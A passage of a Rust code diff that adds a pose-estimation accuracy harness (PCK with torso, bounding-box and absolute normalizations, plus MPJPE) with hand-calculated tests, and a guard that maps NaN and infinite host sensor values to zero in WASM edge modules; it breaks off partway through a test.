+    let mut sum = 0.0f32;
+    let mut count = 0usize;
+    for j in 0..n {
+        if visibility[j] < VISIBILITY_THRESHOLD {
+            continue;
+        }
+        let mut sq = 0.0f32;
+        for c in 0..d {
+            let diff = pred[[j, c]] - gt[[j, c]];
+            sq += diff * diff;
+        }
+        sum += sq.sqrt();
+        count += 1;
+    }
+    if count > 0 {
+        sum / count as f32
+    } else {
+        0.0
+    }
+}
+
+// ===========================================================================
+// Self-describing result struct + batch report
+// ===========================================================================
+
+/// A pose-accuracy result that **always carries the definition it was computed
+/// under** — making an unlabeled PCK number structurally impossible.
+///
+/// Built by [`accuracy_report`] over a set of frames. `pck_at` maps each
+/// requested threshold `k` (percentage, e.g. `20`) to its PCK in `[0,1]`. The
+/// `normalization` field records *which* PCK definition produced those numbers,
+/// so two `PoseAccuracy` values can only be compared when their `normalization`
+/// matches (the comparability check the project lacked).
+#[derive(Debug, Clone, PartialEq)]
+pub struct PoseAccuracy {
+    /// PCK\@k for each requested threshold percentage `k`, in `[0,1]`.
+    pub pck_at: BTreeMap<u8, f32>,
+    /// Mean per-joint position error in coordinate units (mm for mm inputs).
+    pub mpjpe: f32,
+    /// The normalization basis under which `pck_at` was computed — the label a
+    /// reported number must always carry.
+    pub normalization: PckNormalization,
+    /// Number of keypoints per frame (the pose convention, e.g. 17 for COCO).
+    pub n_keypoints: usize,
+    /// Number of frames aggregated into this result.
+    pub n_frames: usize,
+}
+
+impl PoseAccuracy {
+    /// Convenience accessor for a single threshold, returning `None` when that
+    /// `k` was not requested.
+    pub fn pck(&self, k: u8) -> Option<f32> {
+        self.pck_at.get(&k).copied()
+    }
+
+    /// A one-line, self-documenting summary suitable for logs / RESULTS.md, e.g.
+    /// `PCK@20=0.750 (torso-diameter, 17kp, 1 frames) MPJPE=0.030`.
+    pub fn summary(&self) -> String {
+        let pcks: Vec<String> = self
+            .pck_at
+            .iter()
+            .map(|(k, v)| format!("PCK@{k}={v:.3}"))
+            .collect();
+        format!(
+            "{} ({}, {}kp, {} frames) MPJPE={:.4}",
+            pcks.join(" "),
+            self.normalization.label(),
+            self.n_keypoints,
+            self.n_frames,
+            self.mpjpe
+        )
+    }
+}
+
+/// One frame's prediction + ground truth + visibility for batch scoring.
+///
+/// All three arrays share row count `n_keypoints`; `pred`/`gt` are `[n, D]`
+/// (`D ∈ {2,3}`), `visibility` is `[n]`.
+#[derive(Debug, Clone)]
+pub struct PoseFrame {
+    /// Predicted keypoints `[n, D]`.
+    pub pred: Array2<f32>,
+    /// Ground-truth keypoints `[n, D]`.
+    pub gt: Array2<f32>,
+    /// Per-keypoint visibility `[n]` (`>= 0.5` ⇒ visible).
+    pub visibility: Array1<f32>,
+}
+
+/// Aggregate [`PoseAccuracy`] over a batch of frames under **one** explicit
+/// `normalization`, for the requested PCK thresholds `ks` (percentages).
+///
+/// PCK is micro-averaged over keypoints (sum of correct ÷ sum of visible across
+/// all frames — the standard keypoint-PCK aggregation), so frames with more
+/// visible joints contribute proportionally. MPJPE is micro-averaged over
+/// visible joints likewise. Unscoreable frames (no visible joints, degenerate
+/// relative normalizer) contribute `(0, 0)` and so are excluded from the
+/// denominator rather than scored as perfect.
+///
+/// An **empty** `frames` slice yields all-zero PCK and `0.0` MPJPE — never a
+/// panic or NaN.
+pub fn accuracy_report(
+    frames: &[PoseFrame],
+    ks: &[u8],
+    normalization: PckNormalization,
+) -> PoseAccuracy {
+    let n_keypoints = frames.first().map(|f| f.gt.shape()[0]).unwrap_or(0);
+
+    // PCK: per-threshold (correct, total) accumulators across frames.
+    let mut pck_acc: BTreeMap<u8, (usize, usize)> = ks.iter().map(|&k| (k, (0, 0))).collect();
+    // MPJPE: sum of per-joint distances and visible-joint count.
+    let mut mpjpe_sum = 0.0f32;
+    let mut mpjpe_count = 0usize;
+
+    for frame in frames {
+        for &k in ks {
+            let (c, t, _) = pck_at(&frame.pred, &frame.gt, &frame.visibility, k, normalization);
+            let entry = pck_acc.entry(k).or_insert((0, 0));
+            entry.0 += c;
+            entry.1 += t;
+        }
+        // Per-frame MPJPE re-derived as a (sum, count) contribution so the
+        // batch value is a true micro-average over joints.
+        let n = frame.pred.shape()[0].min(frame.gt.shape()[0]).min(frame.visibility.len());
+        let d = frame.pred.shape()[1].min(frame.gt.shape()[1]);
+        for j in 0..n {
+            if frame.visibility[j] < VISIBILITY_THRESHOLD {
+                continue;
+            }
+            let mut sq = 0.0f32;
+            for c in 0..d {
+                let diff = frame.pred[[j, c]] - frame.gt[[j, c]];
+                sq += diff * diff;
+            }
+            mpjpe_sum += sq.sqrt();
+            mpjpe_count += 1;
+        }
+    }
+
+    let pck_at: BTreeMap<u8, f32> = pck_acc
+        .into_iter()
+        .map(|(k, (c, t))| {
+            let v = if t > 0 { c as f32 / t as f32 } else { 0.0 };
+            (k, v)
+        })
+        .collect();
+
+    let mpjpe = if mpjpe_count > 0 {
+        mpjpe_sum / mpjpe_count as f32
+    } else {
+        0.0
+    };
+
+    PoseAccuracy {
+        pck_at,
+        mpjpe,
+        normalization,
+        n_keypoints,
+        n_frames: frames.len(),
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    /// Build a 17-joint `[17, 2]` pose from `(joint, x, y)` triples.
+    fn pose17(joints: &[(usize, f32, f32)]) -> Array2<f32> {
+        let mut a = Array2::<f32>::zeros((17, 2));
+        for &(j, x, y) in joints {
+            a[[j, 0]] = x;
+            a[[j, 1]] = y;
+        }
+        a
+    }
+
+    fn vis17(visible: &[usize]) -> Array1<f32> {
+        let mut v = Array1::<f32>::zeros(17);
+        for &j in visible {
+            v[j] = 2.0;
+        }
+        v
+    }
+
+    // -------- consts pinned (no silent metric drift) --------
+    #[test]
+    fn accuracy_consts_unchanged() {
+        assert_eq!(VISIBILITY_THRESHOLD, 0.5_f32);
+        assert_eq!(MIN_REFERENCE_EXTENT, 1e-6_f32);
+    }
+
+    // -------- perfect prediction ⇒ PCK = 1.0, MPJPE = 0 --------
+    #[test]
+    fn perfect_prediction_pck_one_mpjpe_zero() {
+        let gt = pose17(&[
+            (5, 0.35, 0.35),
+            (CANON_LEFT_HIP, 0.40, 0.50),
+            (CANON_RIGHT_HIP, 0.60, 0.50),
+        ]);
+        let vis = vis17(&[5, CANON_LEFT_HIP, CANON_RIGHT_HIP]);
+        for norm in [
+            PckNormalization::TorsoDiameter,
+            PckNormalization::BoundingBoxDiagonal,
+            PckNormalization::AbsolutePixels(0.01),
+        ] {
+            let (c, t, pck) = pck_at(&gt, &gt, &vis, 20, norm);
+            assert_eq!((c, t), (3, 3), "{norm:?}");
+            assert!((pck - 1.0).abs() < 1e-6, "{norm:?} perfect PCK must be 1.0");
+        }
+        assert_eq!(mpjpe(&gt, &gt, &vis), 0.0);
+    }
+
+    // -------- all keypoints just OUTSIDE threshold ⇒ PCK = 0.0 --------
+    //
+    // Hand calc (torso): hips at (0.40,0.50)/(0.60,0.50) ⇒ torso = 0.20.
+    // threshold k=20 ⇒ τ = 0.20·0.20 = 0.04. Push every scored joint to an
+    // error of 0.05 (> 0.04) ⇒ all wrong. To avoid the hips themselves being
+    // "correct", we displace the hips too (their displaced positions still
+    // define the torso from GT, which is unchanged).
+    #[test]
+    fn all_just_outside_threshold_pck_zero() {
+        let gt = pose17(&[
+            (5, 0.50, 0.50),
+            (CANON_LEFT_HIP, 0.40, 0.50),
+            (CANON_RIGHT_HIP, 0.60, 0.50),
+        ]);
+        // GT torso = 0.20, τ@20 = 0.04. Displace each scored joint by dx=0.05.
+        let pred = pose17(&[
+            (5, 0.55, 0.50),
+            (CANON_LEFT_HIP, 0.45, 0.50),
+            (CANON_RIGHT_HIP, 0.65, 0.50),
+        ]);
+        let vis = vis17(&[5, CANON_LEFT_HIP, CANON_RIGHT_HIP]);
+        let (c, t, pck) = pck_at(&pred, &gt, &vis, 20, PckNormalization::TorsoDiameter);
+        assert_eq!(t, 3);
+        assert_eq!(c, 0, "all errors 0.05 > τ 0.04 ⇒ none correct");
+        assert_eq!(pck, 0.0);
+    }
+
+    // -------- half-in / half-out ⇒ PCK = 0.5 --------
+    //
+    // Hand calc (torso): torso = 0.20, τ@20 = 0.04. Four visible joints; two
+    // exact (dist 0 ≤ 0.04, correct), two displaced 0.05 (> 0.04, wrong)
+    // ⇒ 2/4 = 0.5.
+    #[test]
+    fn half_in_half_out_pck_half() {
+        let gt = pose17(&[
+            (0, 0.50, 0.20),
+            (5, 0.50, 0.50),
+            (CANON_LEFT_HIP, 0.40, 0.50),
+            (CANON_RIGHT_HIP, 0.60, 0.50),
+        ]);
+        let pred = pose17(&[
+            (0, 0.50, 0.20),          // exact ⇒ correct
+            (5, 0.55, 0.50),          // err 0.05 ⇒ wrong
+            (CANON_LEFT_HIP, 0.40, 0.50),  // exact ⇒ correct
+            (CANON_RIGHT_HIP, 0.65, 0.50), // err 0.05 ⇒ wrong
+        ]);
+        let vis = vis17(&[0, 5, CANON_LEFT_HIP, CANON_RIGHT_HIP]);
+        let (c, t, pck) = pck_at(&pred, &gt, &vis, 20, PckNormalization::TorsoDiameter);
+        assert_eq!((c, t), (2, 4));
+        assert!((pck - 0.5).abs() < 1e-6, "expected 0.5, got {pck}");
+    }
+
+    // -------- THE KEY PROOF: same predictions, three normalizations, three PCK --------
+    //
+    // One construction scored three ways. Hand calc:
+    //   GT: nose(0)=(0.50,0.10), l_sh(5)=(0.50,0.30),
+    //       l_hip(11)=(0.40,0.90), r_hip(12)=(0.60,0.90).
+    //   Visible = {0,5,11,12}, all four.
+    //   torso  = |0.60-0.40| = 0.20  (hips, y equal).
+    //   bbox: x∈[0.40,0.60] (w=0.20), y∈[0.10,0.90] (h=0.80)
+    //         ⇒ diag = sqrt(0.20² + 0.80²) = sqrt(0.04+0.64)=sqrt(0.68)=0.8246…
+    //
+    //   Pred errors (pure dx): nose 0.00, l_sh 0.10, l_hip 0.00, r_hip 0.00.
+    //   (Only joint 5 is displaced, by 0.10.)
+    //
+    //   k = 20:
+    //   • Torso  τ = 0.20·0.20 = 0.040 → joint5 err 0.10 > 0.040 ⇒ WRONG
+    //       ⇒ 3 correct / 4 = 0.75
+    //   • Bbox   τ = 0.20·0.8246 = 0.16492 → joint5 err 0.10 ≤ 0.16492 ⇒ CORRECT
+    //       ⇒ 4 correct / 4 = 1.00
+    //   • Abs(0.05) τ = 0.05 → joint5 err 0.10 > 0.05 ⇒ WRONG
+    //       ⇒ 3 correct / 4 = 0.75   (same count as torso HERE by coincidence)
+    //
+    //   To make ALL THREE differ, also test Abs(0.08): τ=0.08, joint5 0.10>0.08
+    //   ⇒ still 0.75. So we additionally displace nose by 0.06 (between 0.05 and
+    //   0.08) to separate the two absolute thresholds — see below.
+    #[test]
+    fn three_normalizations_give_different_pck_on_identical_input() {
+        let gt = pose17(&[
+            (0, 0.50, 0.10),  // nose
+            (5, 0.50, 0.30),  // left_shoulder
+            (CANON_LEFT_HIP, 0.40, 0.90),
+            (CANON_RIGHT_HIP, 0.60, 0.90),
+        ]);
+        // nose displaced 0.06, shoulder displaced 0.10, hips exact.
+        let pred = pose17(&[
+            (0, 0.56, 0.10),  // err 0.06
+            (5, 0.60, 0.30),  // err 0.10
+            (CANON_LEFT_HIP, 0.40, 0.90),  // exact
+            (CANON_RIGHT_HIP, 0.60, 0.90), // exact
+        ]);
+        let vis = vis17(&[0, 5, CANON_LEFT_HIP, CANON_RIGHT_HIP]);
+
+        // Torso τ@20 = 0.04: nose 0.06>0.04 wrong, sh 0.10>0.04 wrong,
+        //   hips exact ⇒ 2/4 = 0.5.
+        let (_, _, torso) = pck_at(&pred, &gt, &vis, 20, PckNormalization::TorsoDiameter);
+        // Bbox diag = sqrt(0.68)=0.82462; τ@20 = 0.164924:
+        //   nose 0.06 ≤ τ correct, sh 0.10 ≤ τ correct, hips exact ⇒ 4/4 = 1.0.
+        let (_, _, bbox) = pck_at(&pred, &gt, &vis, 20, PckNormalization::BoundingBoxDiagonal);
+        // Abs(0.08): nose 0.06 ≤ 0.08 correct, sh 0.10 > 0.08 wrong, hips exact
+        //   ⇒ 3/4 = 0.75.
+        let (_, _, abs) = pck_at(&pred, &gt, &vis, 20, PckNormalization::AbsolutePixels(0.08));
+
+        assert!((torso - 0.5).abs() < 1e-6, "torso PCK expected 0.5, got {torso}");
+        assert!((bbox - 1.0).abs() < 1e-6, "bbox PCK expected 1.0, got {bbox}");
+        assert!((abs - 0.75).abs() < 1e-6, "abs(0.08) PCK expected 0.75, got {abs}");
+
+        // The whole point: identical predictions, three DISTINCT PCK values.
+        assert!(torso != bbox && bbox != abs && torso != abs,
+            "normalizations must give distinct PCK: torso={torso}, bbox={bbox}, abs={abs}");
+    }
+
+    // -------- AbsolutePixels ignores k (raw threshold) --------
+    #[test]
+    fn absolute_pixels_ignores_threshold_percentage() {
+        let gt = pose17(&[(5, 0.50, 0.50), (CANON_LEFT_HIP, 0.40, 0.50), (CANON_RIGHT_HIP, 0.60, 0.50)]);
+        let pred = pose17(&[(5, 0.53, 0.50), (CANON_LEFT_HIP, 0.40, 0.50), (CANON_RIGHT_HIP, 0.60, 0.50)]);
+        let vis = vis17(&[5, CANON_LEFT_HIP, CANON_RIGHT_HIP]);
+        // τ = 0.05 raw; joint5 err 0.03 ≤ 0.05 correct. k=5 and k=99 must agree.
+        let (_, _, p5) = pck_at(&pred, &gt, &vis, 5, PckNormalization::AbsolutePixels(0.05));
+        let (_, _, p99) = pck_at(&pred, &gt, &vis, 99, PckNormalization::AbsolutePixels(0.05));
+        assert_eq!(p5, p99, "AbsolutePixels must ignore the k percentage");
+        assert!((p5 - 1.0).abs() < 1e-6, "all three within 0.05, got {p5}");
+    }
+
+    // -------- MPJPE hand-computed (2D and 3D) --------
+    #[test]
+    fn mpjpe_hand_computed_2d() {
+        // joint0 err (3,4)->5, joint1 exact->0 ⇒ mean (5+0)/2 = 2.5.
+        let gt = Array2::from_shape_vec((2, 2), vec![0.0, 0.0, 1.0, 1.0]).unwrap();
+        let pred = Array2::from_shape_vec((2, 2), vec![3.0, 4.0, 1.0, 1.0]).unwrap();
+        let vis = Array1::from(vec![2.0, 2.0]);
+        assert!((mpjpe(&pred, &gt, &vis) - 2.5).abs() < 1e-6);
+    }
+
+    #[test]
+    fn mpjpe_hand_computed_3d() {
+        // single joint err (1,2,2) -> sqrt(1+4+4)=3.0.
+        let gt = Array2::from_shape_vec((1, 3), vec![0.0, 0.0, 0.0]).unwrap();
+        let pred = Array2::from_shape_vec((1, 3), vec![1.0, 2.0, 2.0]).unwrap();
+        let vis = Array1::from(vec![2.0]);
+        assert!((mpjpe(&pred, &gt, &vis) - 3.0).abs() < 1e-6);
+    }
+
+    #[test]
+    fn mpjpe_excludes_invisible_joints() {
+        // joint0 visible err 5, joint1 INVISIBLE err 100 ⇒ mean = 5 (joint1 dropped).
+        let gt = Array2::from_shape_vec((2, 2), vec![0.0, 0.0, 0.0, 0.0]).unwrap();
+        let pred = Array2::from_shape_vec((2, 2), vec![3.0, 4.0, 100.0, 0.0]).unwrap();
+        let vis = Array1::from(vec![2.0, 0.0]);
+        assert!((mpjpe(&pred, &gt, &vis) - 5.0).abs() < 1e-6);
+    }
+
+    // -------- degenerate inputs: no panic --------
+    #[test]
+    fn zero_torso_is_unscoreable_not_perfect() {
+        // Both hips coincident ⇒ torso ≈ 0; bbox also collapses ⇒ None.
+        let gt = pose17(&[(CANON_LEFT_HIP, 0.5, 0.5), (CANON_RIGHT_HIP, 0.5, 0.5)]);
+        let vis = vis17(&[CANON_LEFT_HIP, CANON_RIGHT_HIP]);
+        assert_eq!(pck_at(&gt, &gt, &vis, 20, PckNormalization::TorsoDiameter), (0, 0, 0.0));
+        assert_eq!(pck_at(&gt, &gt, &vis, 20, PckNormalization::BoundingBoxDiagonal), (0, 0, 0.0));
+    }
+
+    #[test]
+    fn no_visible_keypoints_scores_zero() {
+        let gt = pose17(&[(CANON_LEFT_HIP, 0.4, 0.5), (CANON_RIGHT_HIP, 0.6, 0.5)]);
+        let vis = vis17(&[]); // nothing visible
+        let (c, t, pck) = pck_at(&gt, &gt, &vis, 20, PckNormalization::TorsoDiameter);
+        assert_eq!((c, t, pck), (0, 0, 0.0));
+        assert_eq!(mpjpe(&gt, &gt, &vis), 0.0);
+    }
+
+    #[test]
+    fn nan_coords_do_not_panic_and_count_wrong() {
+        let gt = pose17(&[(5, 0.5, 0.5), (CANON_LEFT_HIP, 0.4, 0.5), (CANON_RIGHT_HIP, 0.6, 0.5)]);
+        let mut pred = gt.clone();
+        pred[[5, 0]] = f32::NAN; // joint 5 prediction is NaN
+        let vis = vis17(&[5, CANON_LEFT_HIP, CANON_RIGHT_HIP]);
+        let (c, t, pck) = pck_at(&pred, &gt, &vis, 20, PckNormalization::TorsoDiameter);
+        assert_eq!(t, 3);
+        assert_eq!(c, 2, "NaN joint must count as wrong, hips correct ⇒ 2/3");
+        assert!((pck - 2.0 / 3.0).abs() < 1e-6);
+        // mpjpe with a NaN joint yields NaN (caller filters) but must not panic.
+        assert!(mpjpe(&pred, &gt, &vis).is_nan());
+    }
+
+    // -------- batch report: micro-average + self-describing struct --------
+    #[test]
+    fn accuracy_report_micro_averages_and_carries_definition() {
+        // Frame A: 2 visible, both correct (2/2). Frame B: 2 visible, both wrong (0/2).
+        // Micro-average over joints: 2 correct / 4 = 0.5 (NOT mean-of-frame-PCK,
+        // which would be (1.0+0.0)/2 = 0.5 here too, but the accumulator is the
+        // joint-level one).
+        let gt = pose17(&[(CANON_LEFT_HIP, 0.40, 0.50), (CANON_RIGHT_HIP, 0.60, 0.50)]);
+        let vis = vis17(&[CANON_LEFT_HIP, CANON_RIGHT_HIP]);
+        let frame_a = PoseFrame { pred: gt.clone(), gt: gt.clone(), visibility: vis.clone() };
+        // Frame B: displace both hips by 0.05 (> τ 0.04) ⇒ both wrong.
+        let pred_b = pose17(&[(CANON_LEFT_HIP, 0.45, 0.50), (CANON_RIGHT_HIP, 0.65, 0.50)]);
+        let frame_b = PoseFrame { pred: pred_b, gt: gt.clone(), visibility: vis.clone() };
+
+        let report = accuracy_report(
+            &[frame_a, frame_b],
+            &[20, 50],
+            PckNormalization::TorsoDiameter,
+        );
+        assert_eq!(report.n_frames, 2);
+        assert_eq!(report.n_keypoints, 17);
+        assert_eq!(report.normalization, PckNormalization::TorsoDiameter);
+        // PCK@20: 2 correct / 4 visible = 0.5.
+        assert!((report.pck(20).unwrap() - 0.5).abs() < 1e-6);
+        // PCK@50: τ = 0.5·0.20 = 0.10, frame B err 0.05 ≤ 0.10 ⇒ all correct
+        //   ⇒ 4/4 = 1.0.
+        assert!((report.pck(50).unwrap() - 1.0).abs() < 1e-6);
+        // A reported number always carries its definition in the summary.
+        assert!(report.summary().contains("torso-diameter"));
+    }
+
+    #[test]
+    fn accuracy_report_empty_is_zero_not_nan() {
+        let report = accuracy_report(&[], &[20], PckNormalization::BoundingBoxDiagonal);
+        assert_eq!(report.n_frames, 0);
+        assert_eq!(report.pck(20), Some(0.0));
+        assert_eq!(report.mpjpe, 0.0);
+        assert!(!report.mpjpe.is_nan());
+    }
+
+    // -------- bbox-norm is looser than torso-norm (sanity, on a batch) --------
+    #[test]
+    fn bbox_norm_scores_at_least_torso_norm() {
+        // bbox diagonal >= torso span always (bbox encloses the hips), so for the
+        // SAME frames bbox-PCK >= torso-PCK at the same k. Pin this ordering.
+        let gt = pose17(&[
+            (0, 0.50, 0.10),
+            (5, 0.50, 0.40),
+            (CANON_LEFT_HIP, 0.40, 0.90),
+            (CANON_RIGHT_HIP, 0.60, 0.90),
+        ]);
+        let pred = pose17(&[
+            (0, 0.55, 0.10),
+            (5, 0.58, 0.40),
+            (CANON_LEFT_HIP, 0.42, 0.90),
+            (CANON_RIGHT_HIP, 0.62, 0.90),
+        ]);
+        let vis = vis17(&[0, 5, CANON_LEFT_HIP, CANON_RIGHT_HIP]);
+        let frame = PoseFrame { pred, gt, visibility: vis };
+        let torso = accuracy_report(std::slice::from_ref(&frame), &[20], PckNormalization::TorsoDiameter);
+        let bbox = accuracy_report(std::slice::from_ref(&frame), &[20], PckNormalization::BoundingBoxDiagonal);
+        assert!(
+            bbox.pck(20).unwrap() >= torso.pck(20).unwrap(),
+            "bbox-norm (looser) must be >= torso-norm: bbox={:?} torso={:?}",
+            bbox.pck(20), torso.pck(20)
+        );
+    }
+}

v2/crates/wifi-densepose-train/src/lib.rs

@@ -43,6 +43,11 @@
 // All *this* crate's code is written without unsafe blocks.
 #![warn(missing_docs)]
 
+/// Metric-locked pose-accuracy harness (ADR-155 §Tier-1.2; needs ADR slot 173)
+/// — selectable `PckNormalization` (torso / bbox-diagonal / absolute), `mpjpe`,
+/// and a self-describing `PoseAccuracy` result so a reported PCK number always
+/// carries the definition it was computed under.
+pub mod accuracy;
 pub mod config;
 pub mod dataset;
 pub mod domain;
@@ -89,6 +94,11 @@ pub use metrics_core::{
     canonical_torso_size, oks_canonical, pck_canonical, CANON_LEFT_HIP, CANON_RIGHT_HIP,
     COCO_KP_SIGMAS,
 };
+// ADR-155 §Tier-1.2 — metric-locked accuracy harness (selectable PCK
+// normalization + MPJPE + self-describing result).
+pub use accuracy::{
+    accuracy_report, mpjpe as pck_mpjpe, pck_at, PckNormalization, PoseAccuracy, PoseFrame,
+};
 pub use config::TrainingConfig;
 pub use dataset::{
     CsiDataset, CsiSample, DataLoader, MmFiDataset, SyntheticConfig, SyntheticCsiDataset,

v2/crates/wifi-densepose-train/tests/test_metrics.rs

@@ -29,6 +29,66 @@
 
 use ndarray::{Array1, Array2};
 use wifi_densepose_train::{oks_canonical, pck_canonical, CANON_LEFT_HIP, CANON_RIGHT_HIP};
+// ADR-155 §Tier-1.2 — metric-locked accuracy harness public surface.
+use wifi_densepose_train::{accuracy_report, pck_at, PckNormalization, PoseFrame};
+
+// ---------------------------------------------------------------------------
+// Metric-locked accuracy harness: the three PCK normalizations are reachable
+// from the crate root and give DIFFERENT PCK on identical predictions — the
+// proof that the 96 / 81.6 / 61 figures were non-comparable (validated here as
+// a downstream consumer would call it).
+// ---------------------------------------------------------------------------
+
+/// Identical predictions, three declared normalizations ⇒ three distinct PCK.
+/// Hand calc (all coords in `[0,1]`):
+/// * GT: nose(0)=(0.50,0.10), l_sh(5)=(0.50,0.30), hips=(0.40,0.90)/(0.60,0.90).
+/// * Pred: nose err 0.06, shoulder err 0.10, hips exact.
+/// * torso = 0.20 ⇒ τ@20 = 0.04 ⇒ only hips correct ⇒ 2/4 = **0.50**.
+/// * bbox  = √(0.20²+0.80²)=0.82462 ⇒ τ@20 = 0.16492 ⇒ all correct ⇒ **1.00**.
+/// * abs(0.08): nose 0.06≤0.08 ok, shoulder 0.10>0.08 wrong ⇒ 3/4 = **0.75**.
+#[test]
+fn harness_three_normalizations_differ_from_crate_root() {
+    let gt = pose17(&[
+        (0, 0.50, 0.10),
+        (5, 0.50, 0.30),
+        (CANON_LEFT_HIP, 0.40, 0.90),
+        (CANON_RIGHT_HIP, 0.60, 0.90),
+    ]);
+    let pred = pose17(&[
+        (0, 0.56, 0.10),
+        (5, 0.60, 0.30),
+        (CANON_LEFT_HIP, 0.40, 0.90),
+        (CANON_RIGHT_HIP, 0.60, 0.90),
+    ]);
+    let vis = vis17(&[0, 5, CANON_LEFT_HIP, CANON_RIGHT_HIP]);
+
+    let (_, _, torso) = pck_at(&pred, &gt, &vis, 20, PckNormalization::TorsoDiameter);
+    let (_, _, bbox) = pck_at(&pred, &gt, &vis, 20, PckNormalization::BoundingBoxDiagonal);
+    let (_, _, abs) = pck_at(&pred, &gt, &vis, 20, PckNormalization::AbsolutePixels(0.08));
+
+    assert!((torso - 0.50).abs() < 1e-6, "torso PCK 0.50, got {torso}");
+    assert!((bbox - 1.00).abs() < 1e-6, "bbox PCK 1.00, got {bbox}");
+    assert!((abs - 0.75).abs() < 1e-6, "abs(0.08) PCK 0.75, got {abs}");
+    assert!(
+        torso != bbox && bbox != abs && torso != abs,
+        "three normalizations must be distinct: {torso} / {bbox} / {abs}"
+    );
+}
+
+/// `accuracy_report` returns a self-describing result carrying its normalization,
+/// so an unlabeled PCK number is structurally impossible at the API boundary.
+#[test]
+fn harness_report_carries_normalization_label() {
+    let gt = pose17(&[(CANON_LEFT_HIP, 0.40, 0.50), (CANON_RIGHT_HIP, 0.60, 0.50)]);
+    let vis = vis17(&[CANON_LEFT_HIP, CANON_RIGHT_HIP]);
+    let frame = PoseFrame { pred: gt.clone(), gt: gt.clone(), visibility: vis };
+    let report = accuracy_report(&[frame], &[20], PckNormalization::BoundingBoxDiagonal);
+    assert_eq!(report.normalization, PckNormalization::BoundingBoxDiagonal);
+    assert_eq!(report.n_keypoints, 17);
+    assert_eq!(report.n_frames, 1);
+    assert!((report.pck(20).unwrap() - 1.0).abs() < 1e-6);
+    assert!(report.summary().contains("bbox-diagonal"));
+}
 
 // ---------------------------------------------------------------------------
 // Tests that use `EvalMetrics` (requires tch-backend because the metrics

v2/crates/wifi-densepose-wasm-edge/src/bin/ghost_hunter.rs

@@ -20,6 +20,7 @@ use wifi_densepose_wasm_edge::{
     host_get_phase, host_get_amplitude, host_get_variance,
     host_get_presence, host_get_motion_energy,
     host_emit_event, host_log,
+    sanitize_host_f32,
     exo_ghost_hunter::GhostHunterDetector,
 };
 
@@ -64,14 +65,16 @@ pub extern "C" fn on_frame(n_subcarriers: i32) {
 
     for i in 0..max_sc {
         unsafe {
-            phases[i] = host_get_phase(i as i32);
-            amplitudes[i] = host_get_amplitude(i as i32);
-            variances[i] = host_get_variance(i as i32);
+            // Sanitize at the boundary: a non-finite host value would otherwise
+            // latch NaN into the detector's persistent anomaly-energy state.
+            phases[i] = sanitize_host_f32(host_get_phase(i as i32));
+            amplitudes[i] = sanitize_host_f32(host_get_amplitude(i as i32));
+            variances[i] = sanitize_host_f32(host_get_variance(i as i32));
         }
     }
 
     let presence = unsafe { host_get_presence() };
-    let motion_energy = unsafe { host_get_motion_energy() };
+    let motion_energy = sanitize_host_f32(unsafe { host_get_motion_energy() });
 
     let detector = unsafe { &mut *core::ptr::addr_of_mut!(DETECTOR) };
     let events = detector.process_frame(

v2/crates/wifi-densepose-wasm-edge/src/lib.rs

@@ -572,6 +572,35 @@ pub mod event_types {
     pub const HEALING_COMPLETE: i32 = 888;
 }
 
+/// Sanitize a raw `f32` read from the host CSI imports.
+///
+/// ## NaN-state-poisoning guard (ADR-040 boundary hardening)
+///
+/// The `csi_get_phase`/`csi_get_amplitude`/`csi_get_variance`/… host imports
+/// return raw IEEE-754 `f32`. A single non-finite value (NaN / ±∞) — from a
+/// firmware DSP bug, an uninitialised buffer, or a hostile host — propagates
+/// silently into the long-lived per-module accumulators (EMA, Welford,
+/// phasor sums, baseline means). Once latched, every downstream comparison
+/// against the poisoned state evaluates `false`, so detectors fail *degraded*
+/// (stuck gate state, suppressed anomaly checks) rather than recovering.
+///
+/// This is the single chokepoint: every one of the ~70 edge modules receives
+/// its frame data from the `on_frame` boundaries below, so mapping non-finite
+/// host floats to `0.0` here protects the entire surface without per-module
+/// churn. Mirrors the M-01 negative-`n_subcarriers` clamp at the same site.
+///
+/// `0.0` is the neutral choice: a zero phase/amplitude/variance reads as a
+/// quiet subcarrier, which the detectors already handle (it cannot, itself,
+/// trip an anomaly the way a poisoned NaN can permanently disable one).
+#[inline]
+pub fn sanitize_host_f32(v: f32) -> f32 {
+    if v.is_finite() {
+        v
+    } else {
+        0.0
+    }
+}
+
 /// Log a message string to the ESP32 console (via host_log import).
 #[cfg(target_arch = "wasm32")]
 pub fn log_msg(msg: &str) {
@@ -650,8 +679,10 @@ pub extern "C" fn on_frame(n_subcarriers: i32) {
 
     for i in 0..max_sc {
         unsafe {
-            phases[i] = host_get_phase(i as i32);
-            amps[i] = host_get_amplitude(i as i32);
+            // Sanitize at the boundary: a non-finite host value would otherwise
+            // latch NaN into the gesture/coherence/anomaly persistent state.
+            phases[i] = sanitize_host_f32(host_get_phase(i as i32));
+            amps[i] = sanitize_host_f32(host_get_amplitude(i as i32));
         }
     }
 
@@ -677,10 +708,71 @@ pub extern "C" fn on_frame(n_subcarriers: i32) {
 pub extern "C" fn on_timer() {
     // Periodic summary.
     let state = unsafe { &*core::ptr::addr_of!(STATE) };
-    let motion = unsafe { host_get_motion_energy() };
+    let motion = sanitize_host_f32(unsafe { host_get_motion_energy() });
     emit(event_types::CUSTOM_METRIC, motion);
 
     if state.frame_count % 100 == 0 {
         log_msg("wasm-edge: heartbeat");
     }
 }
+
+// ── Boundary-hardening tests (ADR-040) ───────────────────────────────────────
+
+#[cfg(test)]
+mod boundary_tests {
+    use super::*;
+
+    #[test]
+    fn sanitize_passes_finite_values_through() {
+        assert_eq!(sanitize_host_f32(0.0), 0.0);
+        assert_eq!(sanitize_host_f32(-3.5), -3.5);
+        assert_eq!(sanitize_host_f32(1234.5), 1234.5);
+        assert_eq!(sanitize_host_f32(f32::MIN), f32::MIN);
+        assert_eq!(sanitize_host_f32(f32::MAX), f32::MAX);
+    }
+
+    #[test]
+    fn sanitize_maps_non_finite_to_zero() {
+        // NaN / ±∞ from a buggy or hostile host must not reach module state.
+        assert_eq!(sanitize_host_f32(f32::NAN), 0.0);
+        assert_eq!(sanitize_host_f32(f32::INFINITY), 0.0);
+        assert_eq!(sanitize_host_f32(f32::NEG_INFINITY), 0.0);
+        // A subnormal-resulting NaN (0.0 * inf) is also caught.
+        assert_eq!(sanitize_host_f32(0.0f32 * f32::INFINITY), 0.0);
+    }
+
+    /// Demonstrates the downstream hazard the boundary guard prevents:
+    /// feeding a raw NaN phase into a persistent module permanently latches
+    /// its smoothed state, whereas a boundary-sanitized 0.0 keeps it healthy.
+    #[test]
+    fn coherence_monitor_nan_latches_without_sanitize_but_not_with() {
